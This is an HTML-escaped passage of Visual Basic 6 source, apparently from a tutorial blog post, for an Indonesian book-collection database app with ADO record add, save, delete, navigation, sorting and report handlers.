adOpenStatic, adLockOptimistic&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Bind the ole controls to the data provider&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtJudul.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtReferensi.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtPenulis.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set TxtCetakan.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set txtPenerbit.DataSource = adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field referensi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Unload(Cancel As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Close&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuBatal_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disable textbox&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'batalkan update kemudian menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.CancelUpdate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemabout_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menampilkan pesan mengenai aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Koleksi Bukuku Version 1.0.0 Oleh Joko", vbInformation, "Koleksi Bukuku"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemadd_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menambah data buku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.AddNew&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'textbox enable/dapat diisi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pointer aktif di txtjudul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemdelete_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Hapus daftar buku record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemedit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengaktifkan textbox agar dapat diubah daftar bukunya&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemexit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengakhiri aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemreport_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Main 'MENUTUP APLIKASI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Shell App.Path &amp;amp; "\KOLEKSIBUKUKU.EXE" 'MEMANGGIL APLIKASI KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DataReport1.Show 'MENAMPILKAN LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuitemsave_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan daftar buku yang telah di inputkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Save&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuFirst_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuLast_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record terakhir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveLast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnunext_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menuju ke record setelah/ke depan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveNext&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika record sudah sampai pada record yang terakhir maka akan berbunyi nada beep dan record yang aktif adalah record terakhir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveLast&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub mnuprevious_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MovePrevious&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika record sudah sampai pada record yang pertama maka akan berbunyi nada beep dan record yang aktif adalah record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.BOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUpdate_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;With adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengedit data pada record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Clone&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Judul = txtJudul.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Referensi = txtReferensi.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penulis = txtPenulis.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!cetakan = TxtCetakan.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penerbit = txtPenerbit.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan hasil pengeditan data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End With&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;mnuitemdelete_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutJudul_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Judul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutpenerbit_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Penerbit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutPenulis_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field Penulis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub MnuUrutReferensi_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'mengurutkan berdasarkan field referensi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Sort = "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menggunakan statemen select case&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'initialisasi toolbar dan isi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case Button.Key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Tambah"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disabled TxtSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menambah daftar koleksi buku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.AddNew&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Simpan"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan daftar buku yang telah di inputkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Save&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Hapus"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Text = "."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Hapus daftar buku record aktif&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Delete adAffectCurrent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Laporan"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Main 'MENUTUP APLIKASI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Shell App.Path &amp;amp; "\KoleksiBukuku.exe" 'MEMANGGIL APLIKASI KEMBALI&lt;/span&gt;&lt;br /&gt;&lt;span 